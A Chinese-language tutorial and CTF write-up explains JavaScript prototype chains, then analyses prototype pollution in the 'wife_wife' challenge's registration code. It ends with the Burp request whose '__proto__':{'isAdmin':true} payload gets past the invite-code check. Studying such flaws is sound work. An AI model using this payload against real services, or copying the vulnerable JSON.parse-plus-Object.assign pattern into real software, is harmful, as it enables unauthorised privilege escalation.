js原型链
前两天,做了一道CTF题目,遇到了js原型链污染。 js原型,我的理解,类似于java中的静态属性。
在JavaScript中,每个对象都有一个关联的原型对象(prototype object)。原型对象是一个普通的对象,它包含可以在实例中共享的属性和方法。当试图访问一个对象的属性或方法时,如果对象本身没有这个属性或方法,JavaScript引擎会沿着原型链向上查找,直到找到匹配的属性或方法或者到达原型链的顶端。
原型链是一种对象之间的关系,它是由对象的原型对象构成的链式结构。当试图访问一个对象的属性或方法时,JavaScript引擎会沿着原型链向上查找,直到找到匹配的属性或方法或者到达原型链的顶端。
详解
控制台声明一个空对象,可以看到只有一个[[Prototype]]
属性,这个就是js原型,同时可以看到这个空对象的原型继承自Object
对象(所有的对象都会继承Object),有常用的toString()
和valueOf()
方法。
控制台声明一个非空对象,同时创建一个原型属性。可以在[[Prototype]]
中看到属性message
,且其中还有一个[[Prototype]]
原型又继承了另一个原型,这就是原型链。
原型操作
获取原型对象的方式又两种,一种是类名获取,一种是实例对象获取。
//通过构造方法声明 Animal 类
function Animal(name) {
this.name = name;
}
//实例化一个Animal对象
var ani=new Animal("culturesun");
//通过类获取原型,且给原型添加 speak 方法属性
Animal.prototype.speak = function() {
console.log(this.name + ' makes a noise.');
};
//通过实例对象ani获取原型,且给原型添加 eat 方法属性
ani.__proto__.eat = function() {
console.log(this.name + ' eat an apple.');
};
//通过实例对象ani 运行 eat
ani.eat();
ani.__proto__.eat();
//通过构造方法声明 Dog 类
function Dog(name, breed) {
this.breed = breed;
}
//通过类型修改原型为 Animal ,相当于继承
Dog.prototype = new Animal();
//实例化一个 Dog 对象
var dog = new Dog('Buddy', 'Golden Retriever');
//调用自身breed属性
console.log(dog.breed);
//调用Animal name属性
console.log(dog.name);
//调用Animal中的speak方法
dog.speak();
可以控制台执行,查看效果。
原型链污染
通过修改或者添加其原型链上的原型对象,使其当前对象可以访问到错误或者不具备的属性。示例代码:
function Animal(name){
this.name = name;
}
function Dog(type){
this.type=type;
}
Dog.prototype=new Animal();
var ani=new Animal('hhh');
var d=new Dog('tugou');
console.log(ani.color); //输出undefined
console.log(d.color); //输出undefined
ani.__proto__.color='red';
console.log(ani.color); //输出red
console.log(d.color); //输出red
攻防世界wife_wife题目
代码分析:
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
JSON.parse()
配合Object.assign()
可以触发原型链污染。let newUser = Object.assign({}, baseUser, user)的作用是把baseUser和user的属性合并后拷贝到{}中,即newUser是baseUser和user的集合。看示例代码:
var baseUser={};
var data='{"username":"e","password":"e","__proto__":{"isAdmin":true}}';
var user= JSON.parse(data);
console.log(user);
console.log(user.isAdmin); //这里输出的是undefined,故不会进入下面的if语句强制将user.isAdmin设为false
var INVITE_CODE="whatever";
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
}
let newUser = Object.assign({}, baseUser, user) //触发原型链污染
console.log(newUser.isAdmin); //输出true
可以控制台执行这段代码,查看user
和newUser
对象的属性。如下图:
JSON.parse()
并不会把"__proto__"
识别成原型对象,而是处理成字符串当作键。但是Object.assign()
执行时识别成原型对象,进行赋值。所以造成了原型链污染。
wp: bp发包:
POST /register HTTP/1.1
Host: 61.147.171.105:49801
Content-Length: 62
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://61.147.171.105:49801
Referer: http://61.147.171.105:49801/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"username":"e","password":"e","__proto__":{"isAdmin":true}}